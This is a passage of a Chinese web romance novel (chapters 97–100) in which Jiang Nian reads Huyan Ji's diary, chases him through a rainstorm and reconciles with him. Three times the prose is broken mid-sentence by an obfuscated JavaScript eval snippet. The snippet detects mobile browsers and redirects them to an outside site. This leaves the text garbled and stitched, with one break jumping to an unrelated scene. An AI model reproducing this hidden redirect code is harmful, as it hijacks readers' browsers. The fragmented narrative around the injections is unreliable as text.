情姑给自己倒了一杯梅饮:“你不知道,她家做典当生意的,家中境况怎么说呢,比上不足,比下有余,她又是家里的老小,独独她一个女儿,上面几个兄长,虽不比巨富之家的女儿,却也是娇养出来的。” 江念听这话音越来越偏,只怕再说下去,就要扯到她这边了,果不其然。 “之前听你说,延吉居于京都,有自己的大宅,家中奴仆环伺,骡马不缺,可是如此?” 这话江念说过,当时情姑问她,家中可还有亲人,她便说有两个阿弟,一个在外游历,一个居在京都。 情姑又问她,既然有阿弟在京都,怎么自己只身一人跑到徽城,那个时候江念对呼延吉的气恼没消,便说自己阿弟如今立了大家业,家中如何如何富裕,到头来嫌弃她了,把她赶了出来。 本来嘛,这话也是闲说的,毕竟她租赁着她家的院子,总要说几句来应付。 “问你呢,怎么发起呆来。”情姑拉了她一下。 江念不知该如何回答,都说一个谎需要无数个谎来圆,只好含糊道:“他家也就那样……” 情姑也不知听没听见,摇头播脑地说着:“我见延吉这两日进出身边跟了几个护卫,那些护卫一看就不是普通人家养出来的,家况应是不错的,且又是京都人士,我得给我兄弟去信,跟他说一声儿,好让他有个准备。” 不得不说,情姑这人当真精明,之前还当着她的面劝说呼延吉在徽城安家,这会儿见她侄女中意呼延吉,又开始得意呼延吉京都人的身份。 婚嫁之事探听男方家世本不是问题,可此事从头到尾,情姑都把她撇在一边,好似只要她家侄女儿相中人,这事就能敲定。 江念把茶杯往桌上一放:“嫂子,你急着让你兄弟来做什么?” 情姑还没察觉出江念态度的转变,嗔江念明知故问:“让我兄弟来看一看延吉,若是我兄弟也觉着好,就趁热把两人的婚事定下来。” 江念哧哧两声冷笑,站起身:“嫂子,你说什么呢?家中不是没人了,还有我这么个人在,我是他阿姐,不是你家觉着好,这亲事就能定下,我不点头,他是不会娶的。” 情姑从没见江念生恼,忙赔不是:“怪我,怪我,主要我一见延吉,就觉着他好,满心满眼的喜欢,便忘了你这一头。” 话是这么说,可情姑并不把江念的话放在心上,在她看来,江念作为邻里,人是不错的,可说到底同延吉只是养姐弟的关系,没有多深的羁绊和牵制,无需把她当回事。 “嫂子,谢谢你的梅饮,改日你家真儿回安城,我治一桌酒席答谢。”江念不愿多待,话一说完扭身朝院外走去。 院门一开,门前立了两人,正是从小叶山归来的呼延吉和真儿…… 第97章 我把心拿到你面前 江念不知道自己脸上是什么表情,但一定是不好看的,她也不愿去看他,侧身从他身边错过,才走没两步,身后响起说话声。 “吉阿兄,江阿姐是不是不喜欢我?” “不会,她只是心情不好……” “江阿姐为何心情不好?” “因为她……” 江念进到院中,两人的说话声便听不真切。 用罢晚饭,江念沐洗毕,坐在院子里纳凉。 秋月坐在一边为她剔果壳,再将剔出的果仁放到小盘中,珠珠则搬了一张杌子坐到江念身后,将女人半干半湿的发丝铺在自己的腿窝里,理开,拿着小蒲扇慢慢打风,让发丝干得快些。 女孩儿将手穿插在如墨的发丝间,先时手间带着微湿的水渍,在她的小扇和院中晚风的拂弄下,发丝慢慢变轻,变柔软,像是一堆干爽细腻的金沙从指隙流过。 江念吃着果仁,喝着凉饮,吹着晚风,心里空着。 这时,院门开了,呼延吉走了进来,坐到江念对面。 秋月给珠珠睇了一个眼色,两人退回房中,将院子空出来给他二人。 江念木着脸,并不理呼延吉,从盘里拿过一粒果仁放入嘴里,咯嘣咬了一下,又拿过凉饮喝了口。 她不说话,他便也不说话,两人就这么坐着,终是江念忍不住,开口道:“怎的?小叶山不好玩?” 这话中多少带了些酸意。 “玩得应该很开心罢,你们年纪相仿,在一起自然有说不完的话,她年纪又小,且乖巧伶俐,谁见了不喜欢呢,你肯定也是喜欢的,是不是?” 江念想听些什么,又害怕听到什么,然而对面之人只是不言语,一颗心拧得难受。 呼延吉默然了一会儿,抬眼看向江念,说道:“明日我便回王庭。” 江念心里一突,努力让自己看起来不那么无措。 呼延吉继续道:“我会带真儿一道走。” 江念感觉两腮很重,那两坨肉像要从脸部分离出去,她想要回以一笑,轻松地说些什么话,无论什么话,说出来就好,可她笑不出来,话也说不出来。 她好容易空下来,有了时间陪他,他却要离开了。 今日她说的那些话,他必是听到了,她说没她点头,他不会娶妻,可是一个转眼,他便要回王庭,还是带着真儿一起离开。 “为什么?”江念喃喃问道。 呼延吉默了一会儿,认真看向她,说道:“答案你不是已经知道了么,何必来问我?”接着又道:“我把一颗心拿到你面前,你却不愿施舍看它一眼,从头至尾都是我一个人在使力。” 江念一怔,会过意来,他说的是那本绿皮书,他特意从王庭取来给她,直到现在她也没有翻看一眼。 男人眼睛落到她手上缠着的纱布,不愿再多说什么,起身走回屋子。 这一夜,江念没阖眼,她想去敲响他的房门,想问问他,要问什么,她也不知道,就是想听他说话,可她终是忍住了,她不允许自己做这么下脸的事。 他这么抽冷子来一下,是什么意思。 因一夜没有好睡,次日江念便没起早,迷迷蒙蒙窝在床上,直到听见对面门扇开阖响,那要死不活的瞌睡一下就醒了。 衣也不披,慌张趿鞋下床,隔着门板,立在那里。 熟悉的脚步声从门前来去了两趟,然后响到院中,接着秋月的声音传来:“阿姑起了么?阿郎要走了。” 江念走到窗榻边,坐下,透过纱窗不高不低地回了一声:“今日身上不好,便不相送了。” 然后那熟悉的脚步声出了院门,一点点远去。 就这么走了? 江念仍有些怔怔的,总觉得有些不真,可就这么发生了。 秋月将做好的早饭摆到院子的桌上,对珠珠说道:“看看阿姑醒了没有?” 珠珠应下,走到房门前。 “念念阿姐,起……起身了么?” 江念仍呆坐在窗榻上,乌云松斜,对敲门声置若罔闻。 院子里响起秋月刻意压低的声音:“还没起么?” 另一边没有说话,应是摇头回应了。 就这么的,江念不知坐了几时,直到听见灶房里“滋啦——”声响,才发觉自己从早上坐到了午时。 她起身,脑子昏沉沉的,如同里面填满石头,石头缝里灌满水。 于是慢慢走回床榻,想要再躺一会儿,想到什么,忽然顿住脚,扭过身快步走到妆奁前,从抽屉里取出一把钥匙,然后走到墙角的立柜前,打开,里面躺的正是那本绿皮书。 江念将书取出,走回窗榻边,踢鞋上榻,将书搁于桌案上,手指在绿皮书上摩挲了一会儿。 书页重启,那些故事再次展现眼前。 上次,她就是看到这里终止,他说,他每有创伤便寻到她的面前,尤喜观她嗔骂那些欺辱他的仕宦子弟,他口口声声唤她阿姐,心底却讥她憨直,讽她愚妇,更是恶语“谁家若聘此蠢妇,岂不无妄之灾?”。 后一段,又羞辱她是花孔雀,说她是孔雀苑的雀儿,孤高自许,目无下尘。 江念吁出一口气,待往下翻去,房门再次被敲响。 “阿姑,起身了吗?午饭好了,起来吃一些罢?” 是秋月的声音。 “你们吃,不必管我,我再躺会儿。”江念回应道。 打发了秋月,江念静了静心,翻开下一页,继续往后看去,后面记录了他的日常,譬如每日练功,身上又受了多少伤,又如何被师父责骂,他又是怎么在心里骂回去的。 江念噗嗤笑出声,笑里有泪。 教呼延吉习武的师父是个武功极高深的人,是呼延吉的兄长遣派来的。 此人是后来才来的大梁,之所以派他前来,是因为发生过一件事,呼延吉左肩窝的伤痕就是那一次留下的,那次的事情……江念不愿去想,也不愿再提。 这一会儿,江念看着书上的文字,细细看着,连同他日常生活的琐碎小事。 他说,他将心 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371285|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 捧到她的面前,她却连看也不愿意看一眼,她现在看了,很认真地在看。 终于写到她了,江念有些紧张,好像孩子收到一份心爱的礼物,掀起一角看一眼,看出一个大概的影儿,再将它完全展露出来,细看真切。 “春日正浓,不少人出城踏青,只见那郊原旷野,景物芳菲,千花万蕊,仕女游人不断。 我叫上江轲,江轲又叫上他阿姐,乘车出行郊外赏玩春景,到了地方,是一片极为广阔的郊野,仆从们开始烧水煮茶,并支桌摆放果品小食。 江家女郎走来问我可会御马?我鬼使神差地说了两个字‘不会’,她说她可教我,我同意了,并非想让她教我御马,而是想观其劣技,殊不知,我自蹒跚学步,便开始翻爬马背。 她从如何上马,如何踩镫,再到骑姿、起停、控速,无不细致一一教导,我见她额沁薄汗,十分认真的模样,竟也有些认真起来。 这江家女郎怎的对我这般殷勤,莫非倾心于我?我不过十岁,想来应当不是。” 江念看到这里,笑也不是,气也不是,小小儿郎脑子里在想什么? 正在这时,秋月的声音从门外再次响起:“阿姑,对过房里可清了?” 江念怔了怔,说道:“清扫了罢。” 在秋月和珠珠的低语中,江念继续往后翻看…… 中间又是一些生活琐事,无非是他怎样被师父逼迫**功,还有怎样惩治那些欺辱他的王孙权贵。 江念就这么慢慢地细看着,给自己倒了一盏茶,喝了一口,再翻过一页,那一页没别的,只有一句话,不,不只那一页,是左右摊开的整面,只有一句话。 “辗转数日,终省得,江家女郎属意于我。” 江念一口茶水差点喷出,心里骂道,你从哪儿看出来我属意于你?就这么突突来一下。 她怕自己错漏了什么细枝末节,又翻到前面再细看,都是他骂天咒地的话,再无别的,怎么就突兀冒出她属意于他的想法,毫无根由。 真是气煞人。 女人却不知,自己的嘴角始终带着笑,往后再看,又是一页。 “江家女郎,脾性不乖,只有姿容勉强可入眼……”前面仍是一番贬责,直到最后一句,“如此愚妇,安得为长兄妇?若吾兄娶之,岂非坑害兄长,罢了,罢了,日后我自娶之,代兄挡灾厄。” 江念看了先是一怔,有些接不上,这前前后后完全不搭呀,前面还骂她,怎么就要娶她了,还什么替他兄长挡灾厄,一副勉为其难的样子,谁迫他了? 再后面的文字,她仍是被他嫌弃的,譬如嫌弃她喜欢的肤浅事物,又不自量力地好为人师,还有她在别人口里如何娇堕,可那嫌弃的口吻却并不惹人讨厌。 她突然感知到,若不是时刻关注她,他怎能知道得这样详尽。 “江念,你没有心……” 这又是什么,突然来这么一句,联想当时况景,将记忆缝合,想起来了…… 第98章 你刚才是不是亲我了? 那日,他兴兴头头拿来一提盒,让她打开,说这里面是她最爱吃的油炸酥骨。 少女傲娇的腔调在绵绵的回忆里一点点浮出水面,缓缓荡开…… “你从哪弄来的?我爱吃酥骨没错,可不是什么酥骨都吃,只吃川城的。” 她爱吃的酥骨头是骨头上带着肉,可那肉又不是很多,肉多了不入味,还柴,需得骨头是枯的,肉是外焦里嫩的,上面撒着鲜辣香料,她就馋这一口。 可惜这川城的酥骨在京都没有分号,原是祖父去外城,她随行,偶在一私人小馆吃到,事后她在他面前提及过几次,为何会说到这事,也是因为他说他们夷越羊羔肉好吃,她就拿酥骨压他,说川城的酥骨比他那什么羊羔肉美味数倍。 未了,还嫌弃他蛮夷之地怎会有美食。 少年龇牙一笑:“你尝尝看这酥骨,和你以前吃的一样不一样?” 她见他眼中隐含期光,带着十足的兴味,迟疑地在那酥骨上闻了一闻,倒是香,闻起来同她之前在川城吃过的有些像。 于是撕下一角油纸,包起一块,忽觉小腿上有东西蹭来蹭去,低头看去,原是她养的长毛狗儿。 “追风,你想吃这个?” 那狗儿就地转了一圈,肥肥的屁股摇到起飞。 “喏——”江念把手里的酥骨往地上一丢,狗儿便“吧唧——”“嘎嘣——”地吃起来,不过一瞬,吃完又把她看着。 江念连丢了两块给它,一个眨眼又没了,那狗儿也不是没吃过好物,偏就馋人手里的,一提盒本就不多,这么几块下去,盒子里不剩什么。 “吉儿,你看,它怪喜欢的。”江念笑着抬头,却见呼延吉沉着脸,重重一哼,甩袖跑开了,江念气得两眼睁瞪,“什么毛病。” 后来,江轲告诉她,呼延吉带人特意跑了一趟川城,找到那家鲜炸酥骨店,花重金请那厨子来一趟京都,结果那厨子也是个倔种,不愿来,呼延吉把人捶了一顿,强行带来京都,就为给她做鲜炸酥骨。 怪道他说自己没心,见她惦记川城的酥骨,兴兴头头费那么大的劲儿,结果她把他的心意喂了狗。 之后,他仍是常往江府来,发生的事情,就是她同他共同的经历,再到后面便是他请旨赐婚,再之后是他回夷越的事情,他记录得便不认真了,看得出来很敷衍。 十天半个月不记录一回,不像从前在梁国之时那般事无巨细。 江念也不去细看,直接翻到最后一页,当看见那些文字时,便静止不动了,她有些不确定似的看了一遍又一遍,确认自己没看错。 秋月见江念闭在屋中,早饭不吃,午饭也不吃,便将饭菜留了些,待她饿了有现成的可食,正同珠珠在院中收着桌上的碗筷,房门猛然大开。 只见女人乌云斜坠,衣衫松散地从门里出来,捉裙快步趋到阶下。 “秋月,我的那匹马儿呢?” 秋月下意识答道:“在巷口的脚店外拴着……” 话音未落,女人已推开院门,碎步小跑而去。 “阿姑——你去哪里?手上还有伤——”秋月追出院门,朝那背影叫喊了一声。 “京都——” 女人的身影消失在巷子口,接着响起一声驾呵,一人一马从巷口如风疾过。 秋月抬头看了看天,阴沉的天上乌云密布,云中雷声隐隐。 珠珠从后走来,担忧道:“变天了,要……要下雨……” …… 徽城去往京都的官道上,一骑飞奔而去。 江念扬鞭拍马,连衣也来不及更换,只在寝衣外胡乱裹了一层长衫,发丝半坠,一根木簪险险固着。 这是呼延吉回王庭的官道,如无意外,他应当会走这条道。 她也不知道追上他之后要说什么,兴许就是想确认他看她的眼神是否仍热望,是否仍是凄苦的求而不得,如果他对她还有耐心,或是余情,她……想要追上他…… 风灌满了女人的衣袖,鼓猎风中…… …… 秋月指着珠珠让她将木架上晒干的香料收进屋里,自己则收院中搭晒的衣衫和被单。 呼啦啦的风声中,院门被敲响。 “珠珠,快去开门,必是阿姑回了。”秋月两手抱着被单。 珠珠“嗳”了一声,快步至院门前,从内将门打开,见着门外之人,女孩儿磕巴道:“大……大……” “是阿姑回了么?”秋月从后问道。 问话间,门外之人已走了进来。 秋月半张着嘴,怔愣在原处:“小阿郎不是走了么……” 呼延吉不去理她,径直走回自己房内,转眼又走出,声音透着不快:“怎么回事,我的铺盖怎的收了?” “阿姑让收的。”秋月仍有些没回过神。 男人踅过步子,走到对过一看,房门开着:“她人呢?” 秋月连忙道:“阿姑骑着马儿去京都……” “哪里?!” “京都。” 不待秋月话音落地,男人已一阵风似的出了院门。 秋月看了看天,正巧一道雷声在云中彻响,如裂石之音,接着又是轰隆隆。 乌沉沉的天际下,一骑飞马疾驰于长道,不等这爿雨落,一人一马已闯进前方的雷电雨幕。 道路泥泞,马蹄下泥水四溅,江念身上已全然湿透,雨脚太密,淋得她透不过气,看不清前方的路,双眼被水糊得睁不开。 她不敢再行,这样跑下去,怕落得人仰马翻,于是掉勒马头,找了一处避雨的木架棚。 这架棚应是官道附近卖茶水的摊子,里面摆了三张小木桌和几个破烂凳子,此时也被飘进来的雨水打湿了。 雨势太猛,像是铁丝银箭从天而降,不知几时能停,现下不能行人,呼延吉一行人应该也找了地方避雨。等雨脚缓一缓,她再行,兴许就能追上了。 心里思忖着,便要寻个地儿把马儿拴起,不承想一道闪雷打下,那马儿受了惊,她手上又有伤,一个没拉住,马儿扬蹄跑了,她只能呆呆地看着烟白的雨幕。 追不上了…… 江念走到桌边,手撑着桌面跳坐上去,脚踩着凳,裙摆已污成了泥色,簪子也落了,一头乌发就那么散在身后。 她掏出腰间的帕子,拧了拧,擦干头脸,又将绣鞋褪去,扯掉湿泥的高筒袜,搭到凳子横档上,然后赤足踩在绣鞋上,动了动圆圆的脚趾。 这个时候,雨下得越发火炽,江念撑着头望着唰唰的雨烟发呆。 就在她发怔之际,一道黑影破雨打马飞去,江念怔了一瞬,腾地从桌面站到地上,冲出茶棚,追了出去。 “吉儿——” “呼延吉——” 女人的嘶喊声被雨声吞没,传不出去,而那人影早已消失。 江念追跑几步,停住脚,脸色苍白地呆立在雨中。 悲伤的情绪再也压持不住,她这是怎么了,因太过想他,以至于产生了幻觉,简直又可悲又可笑。 江念揉了揉眼,像是要把雨水揉进眼里。 女人回过身,捉起湿重的裙摆,深一脚浅一脚地往茶棚走去,身后的雨幕传来“嘚嘚——嗒嗒——”践泥踏水的马蹄声。 她回头望去,那个幻想中的人影正朝她这边奔来,她不敢动,怕他再次化在雨雾中。 呼延吉简直拿她没办法,驱 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15371286|168163||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 马行到她的身边,滚鞍下马,将她抱到马背之上,再牵马快步到茶棚处,拴住缰绳,将人从马背上抱下,放到桌上。 两人俱湿淋淋地没眼看。 “这么大的雨,你干什么去?!”男人的声音带着斥责,“看看你这个样子,不知道的还以为是水鬼上岸。” 呼延吉自己也没好到哪去。 江念只是看着呼延吉微笑,她这一笑,男人的气就消去了七七八八。 “比我先行,怎么还走在我的后面?”江念问道。 呼延吉便不言语了。 江念并不打算放过,伸手把他整个人拉近,近到她一抬眼,就是他。 “不是回京都了么?不是带真儿走了么?怎么就只你一人?” 她坐在桌上,他站在地上,他仍比她高出些许,她便仰着脖望着他,等着他的回答。 呼延吉见她眼睫湿着,花容淹淡,一头浓发披散,几缕发黏香腮,丰润的唇瓣是将红未红的颜色,说道:“回京都做什么,你在这里,我能走去哪里?总要把你带在身边才安心。” 江念半垂下颈脖,手里仍扯着男人的衣带,自顾自说道:“我打算去找你。” 头顶的声音平平问道:“找我?”那腔调显然是不信的。 江念抬头望进他的眼里:“你专为我去的,对不对?” 呼延吉一怔,把眼睛撇向一边,不去看她:“什么跟什么,没头没脑的一句话。” “是不是?我也要听你亲口说。”江念知道他听懂了,她将他拉得更近,将脸慢慢地偎在他的胸口,听着肌下快速有力的心跳。 男人轻轻吁出一口气:“是,专为你去的……” 他料到三皇子李琰会登极帝位,李琰看似木讷,能坐上那个位置实是必然,然而,他万万没料到李琰会拿江家开刀,待他收到消息之时,已经晚了。 江家一夜之间倾覆,她被流放充入军营为妓。 他传召亲卫首领阿多图入宫,商议一番,圈画出几条线路,分出五队人马,势必要截住流放的队伍。 “大王,距他们出发已有月余,就算截住了流放的那拨人,只怕……” 呼延吉何尝不知,梁国如今正值隆冬,那里的冬季是能冻掉手脚的,而且她那么娇贵的一人,从未吃过任何苦,金银窝里长那么大,只怕唯一的苦恼还是他给她的。 可是他不管,江念,你不是挺傲么?你不是不将任何人放眼里么?怎能这么窝囊地死去。 他率领人马择了最常走的一条官道,沿路追寻。 终于,他找到了她。 蓬着头,脸也烂了,只有那双眼睛仍是那么亮,像浸着水一样,湿漉漉地望着他。 还好……还好……不论变成什么样,只要还活着就好…… 呼延吉抓住女人那双不老实的手,自己的腰带都被她绞结了:“看了那书?” 江念嘴角带笑地点点头,他专为她而去,并非偶然,在她最绝望最无助的时候,他出现在她的面前,那么很多事情就不一样了,她的命是他给的,为了这份情,她可以忍耐。 他其实很不想让她知晓自己能为她做到这个地步,怕她又像从前一样,在他面前使性猖狂,正在懊悔之际,微凉的柔软落到他的唇上,小心地碰了碰,又像蝶儿一般轻轻飞开。 男人心头的懊悔被这丰软的唇一碰就没了,可是……怎么就那么一下,他怕自己感知错了,问道:“你刚才是不是亲我了?” 江念本就羞垂着头,被他如此一问,遂抬起头抿着嘴儿笑。 呼延吉更近一步,微压着身子,觑声道:“适才没觉着滋味,让我再品品……” 第99章 不够…… 雨脚放缓,变得缠绵起来,茶棚檐滴落一串串水珠帘,将这一方隔起小小的幽秘。 茶棚下,男人背立着,他的身后是泼黛青山,他的身前是流绪微梦,颈间玉臂轻环。 女人湿皱的薄裤下是两条丰长的腿儿,架在男人两侧的腰际。 江念一手推开身前人,细喘道:“尝好了么?” 呼延吉咂摸着嘴,沉思片刻,再次落到女人的唇畔,含糊道:“不够……” 江念嗔笑着避开他,秋波轻斜:“我有正经事问你。” 呼延吉“唔”了一声,不太将她的话听进去,一心只在那软软的香唇上,他等这一日,不知等了多久,梦里倒是有过,然而每每关要之时就醒了。 “你不是回王庭么?还带着真儿一道?”江念问道。 “本来是要回王庭的,又丢不下你这边,至于那丫头嘛,我让人送她回安城了。” 他先时那样为的就是激一激她,江念这人在感情方面太被动,恨不得人把东西嚼碎了喂到她嘴里,他若一直温温暾暾,不知要等要猴年马月。 若不下一剂猛药,她根本不会看那绿皮书,他又不好直截了当告诉她,救她,本是他心甘情愿,若以此为由让她随自己回王庭,有挟恩图报之嫌,意味就变了。 “送回安城?” 呼延吉点了点头,笑道:“我只说带她走,又没说带她回王庭,你那日不是振振有词,我娶妻得你点头么?” “那可不是,你都要求我了,我也得管管你,这样才公平。” 他一日不娶,她一日不嫁,这种事总不能是单方面的。 江念觉着好似漏了什么,一时间又想不起来。 此时天色逐渐放晴,只有细雨濛濛,呼延吉把江念抱上马背,然后解开拴绳,翻身坐到她的身后,就这么慢慢在细雨中行着。 “想起来了。”女人的声音在细雨中响起。 男人“嗯”了一声,等着她接下来的话。 “真儿就这么甘愿被你送走?” 江念看得出来,那丫头是真心喜欢呼延吉,可话说回来,他这么个人,很难让女子不倾心。 “走不走由不得她。” 原是真儿家预备从安城举家搬迁至定州,定州并入夷越,生出许多商机,正巧真儿父兄得到一个绝好的营生,便往徽城来信,让家中仆人带她速回安城,再一道去往定州。 自然了,定州城的绝好营生,脱不离呼延吉的手笔,从真儿到徽城之始,呼延吉就着人手安排此事,算是他利用她做出的一些补偿。 他不能强行带江念回王庭,自己又离不得她,只能使些手段,既然是手段,肯定不光明,不过呼延吉从来不认为自己是什么好人。 世上吃亏的多半是好人,在他看来,好人同傻子是对等的。 “吉阿兄,真儿可不可以伴在你身边。”少女满眼希图,只要他说“可以”,她就留下。 这几日相处,她真的很开心,只要看见他,她就是开心的,她喜欢听他松懒的腔调,喜欢看他笑,虽然他不常笑,他不笑时,她总能逗着他笑一笑,他一笑,她就更开心了。 可她也看出,他的笑多少有些敷衍和心不在焉。 呼延吉并未多说什么,而是给仆从睇了一个眼色,让他们搀扶人上马车。 少女怎甘愿就这样离开,挥开丫鬟的手,说道:“吉阿兄这么着急送真儿走是因为江阿姐的话么?说什么她不点头,你就不会娶妻,真真是可笑,她一个梁人,又无血缘,有什么资格管你!” 女子心底早有不满,继续道:“她那样大的年岁,自己不婚嫁就算了,还要拘着你,是何道理?!”少女全然没注意到对面男子的面色,“我听闻梁国有律,女子‘十有五年而笄,二十而嫁’,超龄未婚者违背礼制,使长吏配之,她一梁女落入夷越,为何?差不离就是为了逃避罪责。” 少女说罢,怨嗔地看向呼延吉,希望他能宽解她一番,让她不要同他这位养姐计较,他的这位养姐根本不算什么,管不得他,她也不值得为了一个梁女生气。 然而,男人的眼是静的,静得看不见一点光动:“知道她为何这个年岁仍没嫁人?” “为……为何……” “她不嫁人,是因为我不许,我不许她嫁人,可懂?”呼延吉再问,“知道我为何不许她嫁人?” 少女怔在那里,说不出一句话来。 男人自然一笑,俯身到少女耳边:“就是你想的那样……”说罢,抬手一招:“把人送往安城。” 两名丫鬟上前,将呆滞的少女请到马车内。 这之后,呼延吉回了桂花巷,得知江念独乘一骑去往京都,又拍马追去。 他略去一部分,择其简要说了,江念知晓大概后也不再追问。 两人就这么共乘一骑回到桂花巷。 此时,院中不止秋月和珠珠二人,还有一人,正是呼延吉的亲随,阿丑。 秋月见他二人浑身湿答答地回了,忙同珠珠去灶房烧水,阿丑则在一边随时应候。 待热水备下,两人归房各自沐洗,然后换上干爽的衣物。 珠珠在灶房熬煮了姜汤,盛入碗中,秋月和阿丑分别端给自家主子。 秋月将姜汤递到江念手里,见她接过,慢慢喝了几口。 “阿姑,需要放糖霜么?” 江念抿唇笑道:“不必,是甜的。” 甜的?姜汤怎会是甜的。 女子嘴角噙着笑,不知想到什么,腮上透出一抹淡淡的红。 这时,屋门响了两响,江念看去,就见呼延吉倚在门栏上。 秋月忙收了汤碗退出房屋。 呼延吉走到江念跟前,笑问道:“姜汤是甜的?” 江念点点头。 “怎的我的姜汤是辣的,你的却是甜的,莫不是你说谎。” “可是奇怪呢,这次怎么不一样。” 呼延吉坐到她的身边,想了想:“怎么个甜?” 江念笑道:“就是甜么,还能怎么个甜,我哪里说得出来。” “你既然说不出来,不如让我尝一尝……”男人的目光落到女人的唇上。 江念笑着推开他:“莫要胡闹。” 呼延吉怕她生恼,不敢对她太过轻浮,惜爱中不自觉带上三分敬重,就如她说的,他自小唤她一声阿姐,心底除不去一个“敬”字,他想在她身上放肆、撒野,又怕唐突了她。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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而江念对自己有好颜色,可能始于他同延吉的三分相似,因像她的亲人,不自觉生出亲近之意,但这不能全盘否认江念对他的心意。 石儿禄越发肯定自己的想法,今日再次上门,想亲口问一问江念,他始终执着于他们二人的初次相遇。 那个时候,她明明看向了他,还对他笑,他常向人说起梁国女郎之绝色,却从未提及这一节,好似心底不可言说的秘密,不愿与人分享。 试想想,机缘之下,如同天人一般的上国贵女目光飘向你,还对着你笑,是种什么感觉,对某些人来说,便是一辈子忘不了,不时还会从记忆中调出来,品味一番。 “你主子呢?”石儿禄见院门未关,径直进到院里,只有一个十岁出头的小丫头。 珠珠见了来人,说道:“我去……去……” 石儿禄本就不是个耐心之人,再加上珠珠口吃,哪里等得了,两步跨上台阶,走到江念的房门前。 房门半掩,门里门外安静得没有一点声响,石儿禄不自觉放轻脚步,探头往里看去…… 第100章 蓄养包占 因才下过雨,带着湿意和微微青草气的风从窗隙吹到屋里。 窗榻上一方小几,女人背朝门,歪枕于案上,万千青丝披散于身后,堆鬈于榻,一条胳膊搁在案上,垂下来的绢袖,随风轻轻荡着,看不见正面,不知是不是睡着了。 她对面的年轻男子侧着身,懒懒倚着小案,指尖绕着女人的一绺青丝,一副安然的姿态,似是也有些困意。 男子转眼看向他,一指压向唇上,比了一个“嘘——”的手势,朝院中摆了摆下巴。 石儿禄走到院中,不过一会儿,呼延吉出来。 “你还来?”呼延吉问道。 石儿禄冷声道:“我来找阿念,怎么找不得?” 呼延吉笑了一声,不说话了,就坐在院中喝茶。 “你笑什么?”石儿禄觉得自己在这个小他几岁的儿郎面前,有些拿不起架势,不自觉会低他一头。 呼延吉看了石儿禄一眼,不答反问:“你在执着什么。” 石儿禄从不对外人说的心事对呼延吉说了,兴许存了一份炫耀的意思。 “你说她对你笑?”呼延吉问道。 “不错。” 呼延吉想了想,开口道:“应是错看了,把你当成了我。” 石儿禄气得差点破口大骂,大爷我脱不了你的影了,是罢?!想到什么,苦闷的表情有了变化,嘴角越裂越大,没头没尾地来了一句:“我比你大几岁。” 石儿禄仿佛看到一道光,看着呼延吉发沉的脸,越发肯定了自己的猜测:“让我来猜猜啊!我比你大几岁,应是我比你先到的梁国,也就是说,阿念先遇上了我,后来才遇上的你。”男人指向自己,笑的得意:“是我先入了她的眼,你才是替代品。” 呼延吉阴沉的脸倏忽一笑:“知不知道什么叫后来者居上?” 石儿禄垂着头,半晌不说话,抬头看了眼窗隙间的那抹柔影,叹了一口气,语气比刚才认真:“你注意了,安努尔那人不好对付,他跟我不同,他那人……危险。” 呼延吉从不轻看任何一人,这个叫安努尔的确实不简单。 石儿禄站起身,看了呼延吉一眼,扬唇一笑:“哎呀——爷们这下舒服了!” 说罢摇头拨脑地走了。 呼延吉暗骂一声,什么玩意儿! 空气里带着青润润的水汽,暮色渐临,天挼蓝。 呼延吉招来阿丑,吩咐道:“准备一下。” “主子的意思是,准备返程了?” 呼延吉“嗯”了一声,他滞留徽城为的就是带人走,如今江念已然应下,随时可走。 秋月备好晚饭,在院子里摆上,珠珠去房里唤醒江念。 用饭时,呼延吉看了眼江念,说道:“明日回去如何?” 江念想了想,说道:“安阿兄还未归,我在徽城得亏他照顾,总要当面辞过。” “那他一直不回,你一直不走了?他要死在外……” 不等呼延吉说完,江念打了他一下:“你这张嘴,怎的这样欠呢。” 呼延吉埋头扒饭,腮帮子上下鼓动,心道,再等等,他又不是等不起,只要她跟他回去,万事好说。 二人正吃着,外面传来一声呼叫,在空寂的巷子里格外凄响。 “快来人——来人——” 江念心里一紧,放下手里的碗筷,这是情姑的声音。 江念同呼延吉出了院门,往巷弄一看,巷子里的几户人家都出来了,簇围成一圈,不知发生了何事,人缝间隐约可见好似有人躺在地上。 江念往前走去,呼延吉紧随在她的身侧,人群拨开,待看清地上的境况,只让人倒吸一口凉气。 情姑半蹲在地上,而她的脚边躺着一人,这人满面是血,已看不清本来面目,一身布衣,头发散乱,连脚下的鞋子也掉了一只,衣襟前全是血。 不知是死是活。 “这不是隔壁的崔书生嘛!”人群里一人说道。 “我听说他去京都了,好像去通门路,向哪位高官举荐自己,怎么成这样了?” 人群里又是一声叹:“也是可怜,谁让他得罪了徽城府令,这边的门路堵了,想去京都又无人举荐,想出头,更是难上加难。” “你们都做戏看呢!还不来救人!”情姑叫嚷了一声,却没人搭手相帮。 江念对呼延吉说道:“你搀他进屋,我去请大夫来。” 呼延吉拉着她:“你就在这里,哪需你去跑腿。”转头叫了一声阿丑。 